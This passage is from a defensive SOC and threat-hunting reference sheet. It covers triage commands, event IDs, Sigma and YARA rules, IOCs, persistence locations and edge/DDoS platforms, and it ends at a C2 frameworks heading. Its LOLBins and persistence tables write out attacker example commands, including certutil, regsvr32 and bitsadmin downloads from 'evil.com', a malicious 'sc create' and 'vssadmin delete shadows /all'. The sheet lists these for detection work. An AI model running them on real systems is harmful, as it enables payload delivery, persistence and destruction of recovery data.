whoami && id                      # Current user and groups
cat /etc/passwd | grep -v nologin # Users with login shells
w && last                         # Who is logged in / login history
ps auxf                           # Process tree
pstree -p                         # Visual process tree with PIDs
lsof -i                           # Open network connections by process
ss -tulnp                         # Listening ports + PIDs (modern)
netstat -tulnp                    # Listening ports (legacy)
find / -perm -4000 2>/dev/null    # SUID binaries (priv esc vectors)
crontab -l && cat /etc/cron*      # Scheduled tasks (persistence)
Log Parsing
tail -f /var/log/auth.log                          # Live auth events
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn  # Brute force IPs
grep "Accepted publickey\|Accepted password" /var/log/auth.log  # Successful logins
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head  # Top IPs in access log
grep -E "40[0-9]|50[0-9]" access.log | awk '{print $7}' | sort | uniq -c | sort -rn  # Error URLs
journalctl -u ssh --since "1 hour ago"            # SSH events (systemd)
ausearch -m USER_LOGIN -ts recent                 # Audit log logins
02.05Windows Commands

Windows command-line tools are essential for triage, lateral movement investigation, and live response on Windows endpoints. These commands cover process enumeration, network state, service inspection, and registry queries — the same tools both administrators and attackers use. Pair with Sysmon Event 4688 process creation logs.

:: System info
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
whoami /all                          :: User, groups, privileges
net user %USERNAME% /domain          :: AD user details
wmic product get name,version        :: Installed software

:: Network
netstat -ano                         :: Connections with PIDs
netstat -ano | findstr ESTABLISHED   :: Active connections only
ipconfig /all                        :: Network config with MAC

:: Processes
tasklist /svc                        :: Processes with hosted services
wmic process get name,processid,parentprocessid,commandline  :: Full process info
Get-WmiObject Win32_Process | Select Name,ProcessId,ParentProcessId,CommandLine

:: Event log (PowerShell)
Get-WinEvent -LogName Security -MaxEvents 100 | Where-Object {$_.Id -in 4624,4625,4648,4672}
Get-WinEvent -LogName System -MaxEvents 50 | Where-Object {$_.LevelDisplayName -eq "Error"}

:: Autoruns / persistence
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
schtasks /query /fo LIST /v | findstr /i "task name\|status\|run as"
FINDSTR Reference
FlagDescription
/BMatch at beginning of line
/EMatch at end of line
/RUse regex patterns
/SSearch subdirectories recursively
/ICase-insensitive
/VPrint lines that do NOT match
/NPrint line numbers
/MPrint only filename if match found
Section 03
Threat Hunting
03.01Default Windows Processes & Parent-Child Tree

Understanding legitimate parent-child relationships is the #1 skill for process anomaly detection. Any deviation from this tree — wrong parent, wrong path, or wrong SID — is a red flag requiring investigation.

🚨Red flags: Wrong parent process · Wrong image path (not in System32) · Misspelled name (svchost vs svch0st) · Wrong SID/account · Unusual start time · Packed/unsigned binary · Unexpected network connections · No command-line -k flag for svchost
Normal Process Exits after task * = Multiple instances possible System %SystemRoot%\System32\ SID: S-1-5-18 Registry %SystemRoot%\System32\ SID: S-1-5-18 smss.exe %SystemRoot%\System32\ SID: S-1-5-18 Memory Compression %SystemRoot%\System32\ SID: S-1-5-18 smss.exe (exits) Session 0 (OS) %SystemRoot%\System32\ SID: S-1-5-18 smss.exe (exits) Session 1 (User) %SystemRoot%\System32\ SID: S-1-5-18 csrss.exe * %SystemRoot%\System32\ SID: S-1-5-18 wininit.exe %SystemRoot%\System32\ SID: S-1-5-18 csrss.exe * %SystemRoot%\System32\ SID: S-1-5-18 winlogon.exe * %SystemRoot%\System32\ SID: S-1-5-18 lsass.exe %SystemRoot%\System32\ SID: S-1-5-18 services.exe %SystemRoot%\System32\ SID: S-1-5-18 lsaiso.exe Credential Guard only SID: S-1-5-18 userinit.exe (exits) %SystemRoot%\System32\ SID: Logged on users dwm.exe %SystemRoot%\System32\ SID: S-1-5-90-0-x svchost.exe * %SystemRoot%\System32\ SID: S-1-5-18/19/20, users explorer.exe %SystemRoot%\ SID: Logged on users RuntimeBroker.exe * %SystemRoot%\System32\ · SID: Logged on users taskhostw.exe * %SystemRoot%\System32\ · SID: Varies, Logged on users
Process Anomaly Reference Table
ProcessExpected ParentExpected PathExpected SIDInstancesRed Flags
smss.exeSystem (4)%SystemRoot%\System32S-1-5-181 (children exit)Any parent other than System PID 4
csrss.exesmss.exe (exits)%SystemRoot%\System32S-1-5-18≥2 (one per session)Wrong parent; user-writable path
wininit.exesmss.exe (exits)%SystemRoot%\System32S-1-5-181More than 1 instance
winlogon.exesmss.exe (exits)%SystemRoot%\System32S-1-5-181 per user sessionOutbound network connections
lsass.exewininit.exe%SystemRoot%\System32S-1-5-181More than 1 instance; network activity; misspellings (lsasss, lsaas)
services.exewininit.exe%SystemRoot%\System32S-1-5-181More than 1 instance; child processes (except svchost)
svchost.exeservices.exe%SystemRoot%\System32S-1-5-18/19/20ManyParent ≠ services.exe; no -k flag; any other path
explorer.exeuserinit.exe (exits)%SystemRoot%Logged-on user1 per userNetwork connections; spawning cmd/powershell directly
dwm.exewinlogon.exe%SystemRoot%\System32S-1-5-90-0-x1 per sessionWrong SID (should NOT be S-1-5-18)
taskhostw.exesvchost.exe%SystemRoot%\System32VariesMultipleWrong path; spawning network connections
RuntimeBroker.exesvchost.exe%SystemRoot%\System32Logged-on userMultipleRunning as SYSTEM; spawning children
03.02Ransomware File Extensions

File extensions appended by ransomware. Alert on file rename events matching these patterns — especially mass renames of common file types.

ExtensionRansomware FamilyNotes
.wcry / .wncryWannaCry2017 global outbreak; EternalBlue (SMBv1); ~200K victims
.crab / .KRABGandCrab v1/v4+RaaS; retired 2019 but successors persist
.dharma / .cezarDharma (CrySiS variant)Still active; primarily via RDP brute-force
.onionDharma (variant)Uses .onion extension — not to be confused with Tor domains
.locky / .zepto / .thor / .aesir / .osirisLocky variantsDelivered via malicious Office macros (2016–2017)
.cerber / .cerber2 / .cerber3CerberRaaS; audio ransom note
.micro / .xxx / .ttt / .vvv / .aaaTeslaCrypt 3.0+Decryptor released by authors in 2016
.cryptolockerCryptoLockerOriginal 2013 ransomware; disrupted by Operation Tovar
.sporaSporaOffline encryption (no C2 required); HTML ransom note
.wallet / .purge / .globeGlobe / GlobeImposterMultiple variants; still active
.sageSage 2.0Uses UAC bypass; deletes shadow copies
.ryukRyukTargeted enterprises; often follows TrickBot/BazarLoader
.lockbit / .abcdLockBitMost prolific RaaS 2022–2024; LockBit 3.0 = ALPHV-based
.hiveHiveDisrupted by FBI in Jan 2023; decryptor released
.pubgPUBG RansomwareProof-of-concept / prank; decrypted by playing the game
⚠️Modern ransomware families (LockBit, BlackCat/ALPHV, Cl0p) use random or victim-specific extensions — don't rely on extension detection alone. Also monitor for: VSS deletion, shadow copy removal, bulk file renames, and vssadmin delete shadows /all.
03.03Svchost.exe Deep Dive

svchost.exe is the most impersonated process in Windows malware. Each instance should host known services with a documented parent of services.exe. Deviations — wrong parent, wrong path, no services, or network connections — are high-fidelity indicators of process injection or masquerading. Use this to investigate suspicious svchost behaviour in EDR telemetry.

🚨Any svchost.exe NOT in C:\Windows\System32\ is almost certainly malware. Parent must always be services.exe. Legitimate svchost always uses the -k flag.
svchost.exe -k UnistackSvcGroup               :: Load all services in group
svchost.exe -k UnistackSvcGroup -s WpnUserService :: Load single service from group
:: Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
IndicatorLegitimateSuspicious / Malicious
File pathC:\Windows\System32\svchost.exeAny other path (temp, appdata, downloads)
Parent processservices.exe (PID 4 for System)cmd.exe, explorer.exe, powershell.exe, wscript.exe
Command lineIncludes -k flag with valid registry groupNo -k flag, random arguments, or base64 encoded args
Network connectionsSome expected (WSUS, Windows Update, DNS)Connections to external IPs on unusual ports; beaconing
Digital signatureSigned by Microsoft WindowsUnsigned, self-signed, or signed by unknown publisher
SIDS-1-5-18 (SYSTEM), S-1-5-19 (LocalService), S-1-5-20 (NetworkService)Running as a regular user account SID
03.04Sigma Rules

Sigma is a generic, open SIEM rule format — write once, convert to Splunk, Elastic, QRadar, Microsoft Sentinel, etc. via sigma-cli or pySigma.

title: Suspicious PowerShell Download Cradle
id: 3b6ab547-8ec2-4991-b9d2-2b06702a010d
status: experimental
description: Detects PowerShell download cradles commonly used by attackers for payload delivery
author: ThreatHunter
date: 2025/01/01
tags:
    - attack.execution
    - attack.t1059.001
    - attack.defense_evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - 'Invoke-WebRequest'
            - 'Invoke-Expression'
            - 'IEX'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Net.WebClient'
            - 'WebRequest'
            - 'Start-BitsTransfer'
    filter_admin:
        User|contains: 'Administrator'    # Tune based on environment
    condition: selection and not filter_admin
falsepositives:
    - Legitimate admin scripts (tune filter_admin)
    - SCCM / Endpoint management tools
level: high
fields:
    - Image
    - CommandLine
    - User
    - ParentImage
03.05YARA Rules

YARA is the standard for malware classification — write rules that match on file content, binary patterns, or metadata. Used by threat intel teams, AV engines, EDR tools, and incident responders to hunt for malware families across endpoints and network captures. Use this when writing custom detection rules or analysing threat intel rule sets.

rule Ransomware_WannaCry_Generic {
    meta:
        description  = "Detects WannaCry ransomware variants"
        author       = "ThreatHunter"
        severity     = "critical"
        tlp          = "WHITE"
        mitre_attack = "T1486"

    strings:
        $ransom_note  = "Wana Decrypt0r" nocase wide ascii
        $killswitch   = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" nocase
        $svc_name     = "mssecsvc2.0" wide ascii
        $hex_eternalblue = { 45 52 52 4F 52 3A 20 43 61 6E }

    condition:
        uint16(0) == 0x5A4D and       // MZ header (PE file)
        filesize < 10MB and
        (2 of ($ransom_note, $killswitch, $svc_name) or $hex_eternalblue)
}
rule Suspicious_PowerShell_Encoded {
    meta:
        description = "Detects PE files dropping base64-encoded PowerShell commands"
        severity    = "high"

    strings:
        $enc1 = "-EncodedCommand" nocase wide ascii
        $enc2 = "-Enc " nocase wide ascii
        $enc3 = "FromBase64String" nocase wide ascii
        $ps   = "powershell" nocase wide ascii

    condition:
        uint16(0) == 0x5A4D and
        $ps and any of ($enc1, $enc2, $enc3)
}
03.06Windows Privileges

Windows privileges control what actions processes and users can perform beyond standard file/object access. Several privileges are directly exploitable for privilege escalation or credential access. Use this section to understand why SeDebugPrivilege is so dangerous, what an attacker can do with each privilege, and how to audit privilege assignments.

Privilege ConstantDisplay NameAttack Potential
SeDebugPrivilegeDebug programsCRITICAL — dump LSASS memory for credentials; inject into any process
SeImpersonatePrivilegeImpersonate client after authenticationCRITICAL — Potato attacks (JuicyPotato, RoguePotato, PrintSpoofer)
SeAssignPrimaryTokenPrivilegeReplace a process level tokenHIGH — create processes with different tokens; priv esc
SeCreateTokenPrivilegeCreate a token objectHIGH — forge arbitrary access tokens
SeTakeOwnershipPrivilegeTake ownership of files/objectsHIGH — take control of any securable object
SeLoadDriverPrivilegeLoad and unload device driversHIGH — load malicious kernel drivers (BYOVD attacks)
SeBackupPrivilegeBack up files and directoriesHIGH — bypass file ACLs; read any file including SAM database
SeRestorePrivilegeRestore files and directoriesHIGH — write to any path; plant malware or replace binaries
SeTrustedCredManAccessPrivilegeAccess Credential Manager as trusted callerHIGH — access all stored credentials in Credential Manager
SeTcbPrivilegeAct as part of the OSHIGH — bypass normal access controls; extensive system control
SeShutdownPrivilegeShut down the systemMEDIUM — force reboots; DoS; interrupt forensic acquisition
SeNetworkLogonRightAccess this computer from networkMEDIUM — controls remote network authentication
SeRemoteInteractiveLogonRightAllow logon through Remote DesktopMEDIUM — controls RDP access
03.07Windows Registry — Key Locations for Threat Hunting

The Windows Registry contains the most commonly abused persistence and configuration locations. Attackers write to Run keys, install services, and modify security providers to survive reboots. Use this section when hunting for persistence mechanisms — these are the first registry paths to check after detecting a suspicious process or binary.

Registry KeyPurposeThreat Relevance
Persistence / Autorun
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunPrograms run at startup for all usersPrimary persistence location for malware
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunPrograms run at startup for current userUser-writable — common for user-level persistence
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceOne-time startup entries (deleted after run)Used by installers and malware droppers
HKLM\SYSTEM\CurrentControlSet\ServicesWindows services configurationMalicious service installation (Event 7045)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonUserinit, Shell values for logon processShell hijack: malware replaces explorer.exe here
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsDebugger attachment for executablesDebugger hijack (accessibility feature backdoor)
Lateral Movement / Credential
HKLM\SYSTEM\CurrentControlSet\Control\LsaLSA security configurationWDigest auth setting (plain-text cred caching). Check UseLogonCredential.
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestWDigest authentication providerIf UseLogonCredential=1, plaintext passwords cached in LSASS
HKLM\SAM\SAM\Domains\Account\UsersLocal user account database (SAM)NT hashes stored here; requires SYSTEM access to read
Network / C2 Indicators
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvchostService host group definitionsMalware may add new groups here for persistence via svchost
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet SettingsProxy settings per userMalware may set proxy here to redirect traffic through attacker C2
03.08Wireshark Filters

Wireshark display filters allow you to isolate specific traffic patterns in packet captures. Use this section during network forensics to quickly surface C2 communication, credential interception, lateral movement, or exfiltration. Pair with the protocol reference to understand what normal traffic should look like before identifying anomalies.

## BASIC FILTERS
ip.addr == 192.168.1.100              # Traffic to/from specific IP
ip.src == 10.0.0.5                    # From source IP
ip.dst == 8.8.8.8                     # To destination IP
tcp.port == 443                       # TCP port 443
udp.port == 53                        # UDP port 53 (DNS)
not arp and not icmp                  # Exclude noise

## HTTP / WEB
http.request.method == "POST"         # POST requests only
http.response.code == 200             # Successful responses
http.user_agent contains "curl"       # Suspicious User-Agents
http contains "password"              # Credential exposure (cleartext HTTP)

## DNS THREAT HUNTING
dns.qry.name contains ".onion"        # Tor DNS queries (unusual)
dns.qry.type == 16                    # TXT record queries (tunneling indicator)
dns.flags.rcode == 3                  # NXDOMAIN responses (DGA hunting)
dns.qry.name.len > 50                 # Long subdomain = tunneling indicator

## SMB / LATERAL MOVEMENT
smb2.cmd == 5                         # SMB2 Create (file open/create)
smb.cmd == 0x72                       # SMB Negotiate Protocol
tcp.port == 445 and tcp.flags.syn==1  # New SMB connections

## SUSPICIOUS BEACONING
frame.time_delta < 0.001              # Too-fast retransmit (exploit traffic)
tcp.analysis.retransmission           # Retransmitted packets
ip.dst == [C2 IP] and tcp.len > 0    # Data to known C2

## CREDENTIAL / AUTH
ntlmssp.auth.username                 # NTLM usernames in traffic
kerberos.CNameString                  # Kerberos principal names
ftp.request.command == "PASS"         # FTP passwords (cleartext!)

## TLS INSPECTION
tls.handshake.type == 1               # TLS Client Hello
tls.handshake.extensions_server_name # SNI (Server Name Indication)
tls.record.version == 0x0300          # SSLv3 (deprecated — alert!)
Section 04
SOC / Blue Team
04.01Critical Windows Event IDs

Windows Event Logs are the backbone of SIEM detection. Ensure these event IDs are forwarded to your SIEM. Enable advanced audit policy via GPO (auditpol).

Account & Logon Events
Event IDDescriptionDetection Use
4625Failed logonBrute force: high volume from single source; especially logon type 10 (RemoteInteractive/RDP)
4624Successful logonLateral movement: logon type 3 (Network) or 10 (RDP) from unexpected source. Check logon type and source.
4648Logon attempt with explicit credentialsPass-the-hash / runas / credential use; common in lateral movement
4672Special privileges assigned to new logonPrivileged logon; watch for unexpected accounts receiving admin privileges
4720User account createdUnauthorized account creation — backdoor persistence
4726User account deletedEvidence destruction or covering tracks
4728Member added to security-enabled global groupAlert on additions to Domain Admins, Enterprise Admins
4732Member added to security-enabled local groupAlert on additions to local Administrators group
4756Member added to security-enabled universal groupGroup membership change in universal groups
4740User account locked outPassword spray / brute force indicator
4767User account unlockedSuspicious if unlocked immediately after lockout
4771Kerberos pre-authentication failedBad password attempts (0x18 = wrong password). AS-REP roasting (0x17 = pre-auth disabled).
4768Kerberos TGT requestedAS-REP roasting: look for pre-auth type 0x00 for regular user accounts
4769Kerberos service ticket (TGS) requestedKerberoasting: filter for RC4 (0x17) encryption type for service accounts
Process & Execution Events
Event IDDescriptionDetection Use
4688New process createdEnable "Include command line in process creation events" GPO. Detect LOLBins, malicious child processes.
4689Process terminatedCorrelate with 4688 to detect short-lived malicious processes
4698Scheduled task createdPersistence via Task Scheduler — alert on new tasks not in baseline
4702Scheduled task updatedExisting task modified — possible persistence update
4699Scheduled task deletedAnti-forensics — attacker removing persistence before leaving
System & Service Events
Event IDDescriptionDetection Use
7045New service installed (System log)Lateral movement tools (PsExec) and persistence via services
7036Service state changedUnexpected service starts/stops — security tool tampering
1102Security audit log clearedAnti-forensics — attacker clearing evidence
104System log cleared (System log)Anti-forensics — log tampering
4719System audit policy changedAttacker may disable auditing to reduce logging
4657Registry value modifiedPersistence via registry modifications
PowerShell / Script Events
Event IDLogDescriptionEnable via GPO
4103PowerShell OperationalModule logging — full pipeline execution outputEnable Module Logging
4104PowerShell OperationalScript block logging — full deobfuscated script contentEnable Script Block Logging ← Most valuable
4105/4106PowerShell OperationalScript block start/stopEnable Script Block Logging
400/800PowerShell (legacy)Engine lifecycle / pipeline execution (PS 2.0)Default on older systems
Logon Type Reference
TypeNameDescriptionCredential on Disk?
2InteractiveLocal keyboard logonYes — credentials cached
3NetworkSMB, net use, WMINo
4BatchScheduled tasksYes — as service account
5ServiceService startupYes — service account creds
7UnlockWorkstation unlockYes
8NetworkCleartextIIS basic auth; cleartext passwordYes — cleartext in memory
9NewCredentialsRunAs /netonly — local uses original, network uses newYes (new creds)
10RemoteInteractiveRDP / Terminal ServicesYes — credentials cached on remote
11CachedInteractiveDomain logon using cached credentials (offline)Yes
04.02Indicators of Compromise (IOCs)

IOCs are artifacts that indicate potential malicious activity. Prioritize behavioral IOCs (TTPs) over atomic IOCs (hashes, IPs) — adversaries rotate hashes and IPs but TTPs are harder to change.

🌐 Network IOCs
  • Known malicious IP addresses/ranges
  • Malicious domain names (DGA patterns)
  • Suspicious URLs and URI patterns
  • Unusual DNS query types (TXT, NULL)
  • Beaconing patterns (regular intervals)
  • Self-signed certificates on suspicious IPs
  • Tor exit node connections
📁 File IOCs
  • MD5 / SHA1 / SHA256 file hashes
  • Suspicious file names or extensions
  • Files in unexpected locations (Temp, AppData)
  • Unsigned executables in system paths
  • Large base64-encoded data in scripts
  • Files with mismatched extensions/magic bytes
⚙️ Host IOCs
  • New/unexpected registry run keys
  • Scheduled tasks not in baseline
  • New services (especially from Temp path)
  • Unusual parent-child process relationships
  • LSASS memory read access (credential dumping)
  • VSS deletion / shadow copy removal
  • New local admin accounts
👤 Behavioral IOCs
  • Logon outside normal hours
  • Access to unusual file shares
  • Mass file access or modification
  • Data staging in compression archives
  • Outbound transfers to cloud storage
  • Admin tools used by non-admin accounts
  • Lateral movement between workstations
💡Pyramid of Pain (David Bianco): From easiest to hardest for attackers to change: Hash values → IP addresses → Domain names → Network/Host artifacts → Tools → TTPs. Focus detection on TTPs for highest resilience against adversary adaptation.
04.03LOLBins (Living-off-the-Land Binaries)

Legitimate Windows binaries abused by attackers to execute code, download files, bypass defenses, or establish persistence — without dropping new executables. Reference: lolbas-project.github.io

BinaryAbuse TechniqueExample Command / Detection
certutil.exeDownload files, decode Base64, install certscertutil -urlcache -split -f http://evil.com/p.exe p.exe — alert on -urlcache flag
powershell.exeDownload & execute, obfuscation, bypass AMSIMonitor -Enc (EncodedCommand), -nop, -w hidden, IEX, Invoke-Expression
mshta.exeExecute HTA scripts — HTML Application hostAlert on mshta.exe with remote URL argument; child process of Office apps
wscript.exe / cscript.exeExecute VBScript / JScriptAlert on execution of .vbs/.js from Temp/AppData; child of Office, browser
regsvr32.exeExecute code via .sct files (Squiblydoo bypass)regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
rundll32.exeExecute DLLs and COM objectsAlert on unusual DLL arguments; execution from Temp or user-writable paths
wmic.exeProcess creation, lateral movement, persistence, reconMonitor for WMIC process call create, wmic /node: (remote execution)
bitsadmin.exeDownload files via BITS (Background Intelligent Transfer)bitsadmin /transfer job http://evil.com/file.exe C:\temp\file.exe
msiexec.exeExecute remote MSI packagesAlert on msiexec /i http:// or execution of MSI from Temp
forfiles.exeExecute commands against file sets — used to evade detectionMonitor forfiles spawning cmd.exe or powershell.exe
PsExec.exe (Sysinternals)Remote process execution — primary lateral movement toolEvent 7045 (service install), ADMIN$ share access, Event 4624 Type 3
net.exe / net1.exeRecon — enumerate users, groups, shares, sessionsMonitor: net user, net group, net localgroup, net share, net session
vssadmin.exeDelete shadow copies — ransomware anti-recoveryALERT: vssadmin delete shadows /all — near-certain ransomware indicator
nltest.exeDomain recon — enumerate DCs, trust relationshipsMonitor: nltest /dclist, nltest /domain_trusts — common post-compromise recon
whoami.exeAccount recon — determine current privilegesLegitimate use exists, but chain with other recon commands = suspicious
04.04Common Persistence Locations

Attackers establish persistence to survive reboots and re-entry after credential changes. These are the most commonly abused locations — baseline them and alert on changes.

Location / MethodPath / CommandEvent ID
Registry Autorun
Run (All Users)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4657
Run (Current User)HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4657
RunOnceHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce4657
Shell ReplaceHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell4657
Userinit ReplaceHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit4657
Scheduled Tasks
Task Scheduler%SystemRoot%\System32\Tasks\ or schtasks /create4698, 4702
Services
Windows Servicesc create malsvc binPath= "C:\evil.exe"7045, 4697
Startup Folders
All Users Startup%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartupFile system
Current User Startup%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartupFile system
DLL Hijacking / Sideloading
DLL Search Order HijackDrop malicious DLL in app directory that loads it before System32Sysmon Event 7 (ImageLoad)
AppInit DLLsHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs4657
WMI Persistence
WMI Event SubscriptionEventFilter + EventConsumer + FilterToConsumerBinding5857, 5858, 5859, 5860
Office / Application
Office Macros (Startup)%APPDATA%\Microsoft\Word\STARTUP\File system
Browser ExtensionsMalicious extensions in browser profile directoryFile system monitoring
04.05CSOC Triage Checklist

Structured triage steps for investigating a suspicious endpoint alert. Work through each phase before concluding scope and severity.

Phase 1 — Initial Assessment
#ActionTool / Command
1Identify alert source, rule name, and triggering dataSIEM alert detail
2Determine host criticality (server/workstation/DC)CMDB / asset inventory
3Check if host is currently online and reachableping, EDR status
4Review recent logon events on the hostEvent 4624, 4625, 4648
5Review user's recent activity on other systemsSIEM search by username
6Check user's normal working hours vs alert timeHR baseline / SIEM
Phase 2 — Host Triage
#ActionTool / Command
1List all running processes with parent relationshipstasklist /svc, EDR, ProcMon
2Check for suspicious process parent-child chainsCompare against process tree diagram (§03.01)
3Review all active network connections with PIDsnetstat -ano, EDR netconn
4Correlate PIDs to processes — identify unusual outboundwmic process where ProcessId=[PID] get commandline
5Check recently created/modified files (last 24h)EDR file events, forfiles /D -1
6Check autorun locations for new entriesAutoruns (Sysinternals), registry check (§03.07)
7Review recently installed services and scheduled tasksEvent 7045, 4698; schtasks /query
8Check PowerShell script block logs for encoded commandsEvent 4104, PowerShell Operational log
Phase 3 — Scope & Containment Decision
#QuestionIf Yes →
1Is there evidence of active C2 communication?Isolate host immediately; do not shutdown (preserve memory)
2Is there evidence of credential dumping (LSASS access)?Assume all credentials on host are compromised; reset all accounts
3Is there evidence of lateral movement from this host?Expand investigation to all destination hosts
4Is there evidence of data exfiltration?Escalate to critical; notify management; check DLP/proxy logs
5Is there evidence of persistence mechanisms?Full incident response — cannot simply reboot to resolve
6Are multiple hosts affected?Declare incident; activate IR plan; consider domain-wide password reset
04.06Edge, DDoS & Load Balancing Platforms

Production web applications sit behind multiple layers of edge infrastructure. Each layer has a distinct role, a distinct threat surface, and distinct metrics a CSOC analyst should watch. Understanding this stack prevents misclassifying normal failover behaviour as attacks — and vice versa.

Traffic Flow — Request Lifecycle
👤 User Browser / Client HTTPS 🌐 CDN Akamai Edge HTTPS 🛡️ WAF Akamai Kona HTTPS 🤖 Bot Defense Shape (F5) DNS 🗺️ GTM F5 BIG-IP DNS TCP ⚖️ LTM F5 BIG-IP LTM HTTP/S ⚙️ Application Origin Server DDoS attack traffic diverted to Prolexic scrubbing centres — cleaned before reaching edge / origin 🧹 Prolexic Scrubbing Akamai (CDN / WAF) Shape Bot Defense (F5) F5 (GTM / LTM) Prolexic — bypass path (L3/L4 DDoS only) Application / Origin
ℹ️ Shape Bot Defense is an F5 product (acquired 2020) — it is not part of Akamai's platform. Prolexic is Akamai's dedicated L3/L4 DDoS scrubbing network — volumetric attacks are diverted upstream to scrubbing centres and cleaned before reaching the CDN or origin, bypassing the normal request path entirely.
Platform Reference — Cards
🧹 Akamai Prolexic
DDoS Scrubbing Service
L3 / L4
Dedicated volumetric DDoS scrubbing. Attack traffic is rerouted via BGP to globally distributed scrubbing centres; clean traffic is tunnelled back to origin. Protects against SYN/UDP/ICMP floods, DNS/NTP amplification.
  • Attack traffic volume (Gbps / Mpps)
  • Scrubbing centre utilisation %
  • Clean traffic forwarded to origin
  • Time-to-mitigate (TTM)
  • Sudden multi-Gbps spike from many spoofed IPs
  • NTP/DNS amplification — large responses to forged sources
  • SYN flood exhausting upstream link capacity
  • Clean traffic ratio drops — scrubbing overwhelmed
🌐 Akamai CDN
Intelligent Edge Platform
L3 – L7
Caches static and dynamic content at 4,000+ edge PoPs globally. Reduces origin load, improves latency, and provides inherent traffic absorption against volumetric attacks via distribution.
  • Cache hit ratio (low = high origin pressure)
  • Edge vs origin traffic split & offload %
  • MISS rate spikes
  • Traffic spikes absorbed vs forwarded
  • Cache MISS spike — unique query strings bypassing cache
  • High origin traffic from few edge nodes (scraper/cache buster)
  • Sudden offload % drop — cache invalidation attack
  • Requests Cache-Control: no-cache headers
🛡️ Akamai WAF
Kona Site Defender
L7
Inspects HTTP/S requests at edge before they reach origin. Blocks SQLi, XSS, RCE, LFI, SSRF using Kona Rule Sets (KRS) combined with adaptive security and threat intelligence.
  • Deny/alert count & deny rate trend
  • Top triggered rule IDs & rule categories
  • Top source IPs & ASNs
  • Top targeted URLs & parameters
  • Unusual / empty User-Agent strings
  • Same rule from 100s of IPs — distributed scan
  • Rapid cycling: SQLi → XSS → RCE rule categories
  • WAF in alert-only mode on production
  • 200 OK after rule trigger — possible bypass
🤖 Shape Bot Defense
F5 (acquired 2020) — not Akamai
L7
ML-based bot detection using device telemetry, JS challenges, and behavioural fingerprinting. Detects credential stuffing, carding, scraping, and ATO. Does NOT rely solely on IP reputation.
  • Bot score distribution — shift toward high bot scores
  • Auth fail rate on login endpoints
  • JS execution rate (non-executing = headless bot)
  • Device fingerprint variance
  • Credential stuffing: high volume, low latency, many usernames tested
  • Carding: rapid checkout, small test amounts first
  • Scraping: sequential traversal, no JS execution
  • ATO: successful login from new geo/device post-stuffing
🗺️ F5 GTM
BIG-IP DNS / Global Traffic Manager
DNS
DNS-based global load balancing. Routes clients to the best datacenter based on health checks, latency, and load. Responds to DNS queries with the optimal pool member IP. Critical during DR failover.
  • Pool member health & DC availability
  • Traffic distribution across datacenters
  • DNS resolution latency
  • Health check pass/fail rate & TTL values
  • All traffic on one DC — validate with infra (may be failover)
  • SERVFAIL spike — DNS flood or misconfiguration
  • Unexpected failover with no known outage
  • Low TTL + rapid IP changes (fast-flux pattern)
⚖️ F5 LTM
BIG-IP Local Traffic Manager
L4 – L7
Load balances within a datacenter. Provides SSL/TLS offloading, TCP optimization, connection multiplexing, session persistence, and health monitoring for backend pool members.
  • Pool member availability & response time
  • Connection count per pool member
  • SSL handshake error rate
  • VIP connection rate & persistence table size
  • Connection table exhaustion — SYN flood against VIP
  • One member at 100% while others are idle
  • SSL handshake error spike (cert expiry or mismatch)
  • HTTP profile errors on HTTP/S VIP (L7 attack)
CSOC Response — Threat to Platform Mapping
Threat ScenarioPrimary PlatformKey MetricResponse Action
L3/L4 Volumetric DDoSAkamai ProlexicPPS/BPS, scrubbing utilisationEngage Prolexic scrubbing; divert traffic; verify clean forwarding; monitor LTM connection table
L7 HTTP FloodWAF + CDNRequest rate, cache MISS rateApply rate limiting on targeted URI; block source IPs; verify edge absorbing load
SQLi / XSS / RCE AttemptWAF (Kona)Rule trigger count, 2xx after blockValidate payload; escalate rule ALERT → DENY; block source IP/CIDR in network list
Credential Stuffing / ATOShape Bot DefenseBot score, auth fail rateEnforce MFA; rate-limit per IP/device on login; notify affected users
Cache Bypass AttackCDN (Akamai)Cache MISS rate, origin trafficReview cache key config; strip unique query params via request normalization
DC Failover (GTM shift)F5 GTM / GSLBHealth check status, DC distributionValidate with infra/NOC — likely legitimate; monitor DR site capacity
Pool Member DownF5 LTMPool health, response timeAlert infra team; verify load on remaining members; review app logs on failed member
⚠️ DC Failover ≠ Attack. A sudden GTM traffic shift to a secondary datacenter is often a legitimate infrastructure event. Always validate with the NOC / infra team before treating it as a security incident. Distinguish traffic redirected by design from traffic directed by an attacker.
04.07C2 & Exploit Frameworks

Command & Control frameworks manage compromised hosts post-exploitation. These are legitimate red team tools — but cracked and leaked versions are heavily used by ransomware groups and APTs. Knowing their default signatures, IOCs, and evasion techniques is critical for detection engineering. Note: "Sliver" (BishopFox) is a separate framework — not a component of Cobalt Strike.

⚠️ Detecting these frameworks on production systems is a critical finding. Detection does not automatically mean a breach — verify authorization with the red team / pentest team before escalating. Confirm whether a scheduled engagement is in progress.
Generic C2 Architecture
